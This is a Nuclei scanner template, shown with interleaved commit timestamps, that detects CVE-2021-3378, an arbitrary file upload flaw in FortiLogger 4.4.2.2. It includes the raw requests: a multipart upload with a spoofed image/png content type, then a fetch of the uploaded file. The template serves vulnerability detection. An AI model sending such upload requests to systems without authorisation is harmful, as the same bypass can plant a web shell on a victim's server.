2021-03-01 00:32:59 +00:00
id : CVE-2021-3378
info :
2022-05-18 20:58:07 +00:00
name : FortiLogger 4.4.2.2 - Arbitrary File Upload
2021-03-01 00:32:59 +00:00
author : dwisiswant0
severity : critical
description : |
2022-05-18 20:58:07 +00:00
FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a "Content-Type: image/png" header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patch or upgrade to a patched version of FortiLogger to mitigate this vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://erberkan.github.io/2021/cve-2021-3378/
2022-05-17 09:18:12 +00:00
- https://github.com/erberkan/fortilogger_arbitrary_fileupload
- http://packetstormsecurity.com/files/161601/FortiLogger-4.4.2.2-Arbitrary-File-Upload.html
- http://packetstormsecurity.com/files/161974/FortiLogger-Arbitrary-File-Upload.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-3378
cwe-id : CWE-434
2023-10-18 16:26:30 +00:00
epss-score : 0.18935
2023-11-20 05:10:39 +00:00
epss-percentile : 0.95739
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:fortilogger:fortilogger:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : fortilogger
product : fortilogger
tags : fortilogger,fortigate,fortinet,packetstorm,cve,cve2021,fileupload,intrusive
2021-03-01 00:32:59 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-01 08:45:16 +00:00
- raw :
- |
POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Accept : application/json
Referer : {{BaseURL}}
Connection : close
X-Requested-With : XMLHttpRequest
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition : form-data; name="file"; filename="poc.txt"
2021-03-05 08:29:13 +00:00
Content-Type : image/png
2021-03-01 08:45:16 +00:00
2023-07-05 07:50:14 +00:00
{{randstr}}
2021-03-01 08:45:16 +00:00
------WebKitFormBoundarySHHbUsfCoxlX1bpS
- |
GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
Host : {{Hostname}}
2021-03-01 00:33:25 +00:00
matchers-condition : and
2021-03-01 00:32:59 +00:00
matchers :
- type : word
2023-07-05 07:50:14 +00:00
part : body_2
2021-03-01 00:32:59 +00:00
words :
2023-07-05 07:50:14 +00:00
- "{{randstr}}"
2021-03-01 08:45:16 +00:00
2021-03-01 00:32:59 +00:00
- type : word
2023-07-05 07:50:14 +00:00
part : header
2021-03-01 00:32:59 +00:00
words :
2021-03-01 08:45:16 +00:00
- "text/plain"
2021-03-01 00:32:59 +00:00
- "ASP.NET"
condition : and
2022-05-18 20:58:07 +00:00
2023-07-05 07:50:14 +00:00
- type : status
status :
- 200
2023-11-19 08:30:54 +00:00
# digest: 4a0a0047304502206f4ba60cd48545bb42f6c5f92d6d2c27ea8c9ad2fed41e95d261dd19b2fdbeef022100d8f94304a76f05cf8446e6e0a1edd50c20cbb87d071266ccdbaab9c3ff45e641:922c64590222798bb761d5b6d8e72950